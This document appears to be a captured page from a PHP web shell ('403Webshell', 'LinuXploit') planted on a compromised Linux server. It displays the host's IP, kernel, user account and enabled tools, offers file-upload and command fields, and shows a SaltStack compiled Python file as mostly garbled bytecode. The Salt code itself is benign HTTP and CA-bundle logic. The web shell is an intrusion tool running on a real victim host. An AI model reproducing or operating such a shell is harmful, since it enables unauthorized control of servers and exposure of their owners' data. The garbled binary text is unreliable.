403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/runners/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/runners/__pycache__/http.cpython-310.pyc
o

;jj	�@s6dZddlZddlZe�e�Zddd�Zd	dd�ZdS)
z�
Module for making various web calls. Primarily designed for webhooks and the
like, but also useful for basic http testing.

.. versionadded:: 2015.5.0
�NTcKsd|dur	t�d�d|vrd|d<t��}d|vr#|�|d�|d=tjjjd||d�|��}|S)	a�
    Query a resource, and decode the return data

    Passes through all the parameters described in the
    :py:func:`utils.http.query function <salt.utils.http.query>`:

    CLI Example:

    .. code-block:: bash

        salt-run http.query http://somelink.com/
        salt-run http.query http://somelink.com/ method=POST             params='key1=val1&key2=val2'
        salt-run http.query http://somelink.com/ method=POST             data='<xml>somecontent</xml>'
    Tz6Output option has been deprecated. Please use --quiet.�nodeZmaster�opts)�urlrN�)	�log�warning�__opts__�copy�update�salt�utils�http�query)r�output�kwargsr�retrr�E/opt/saltstack/salt/lib/python3.10/site-packages/salt/runners/http.pyrs
rcCstjj�||t|�S)ab
    Update the local CA bundle file from a URL

    .. versionadded:: 2015.5.0

    CLI Example:

    .. code-block:: bash

        salt-run http.update_ca_bundle
        salt-run http.update_ca_bundle target=/path/to/cacerts.pem
        salt-run http.update_ca_bundle source=https://example.com/cacerts.pem

    If the ``target`` is not specified, it will be pulled from the ``ca_cert``
    configuration variable available to the master. If it cannot be found there,
    it will be placed at ``<<FILE_ROOTS>>/cacerts.pem``.

    If the ``source`` is not specified, it will be pulled from the
    ``ca_cert_url`` configuration variable available to the master. If it cannot
    be found, it will be downloaded from the cURL website, using an http (not
    https) URL. USING THE DEFAULT URL SHOULD BE AVOIDED!

    ``merge_files`` may also be specified, which includes a string or list of
    strings representing a file or files to be appended to the end of the CA
    bundle, once it is downloaded.

    CLI Example:

    .. code-block:: bash

        salt-run http.update_ca_bundle merge_files=/path/to/mycert.pem
    )rrr
�update_ca_bundler)�target�sourceZmerge_filesrrrr-s!r)T)NNN)	�__doc__�loggingZsalt.utils.httpr�	getLogger�__name__rrrrrrr�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit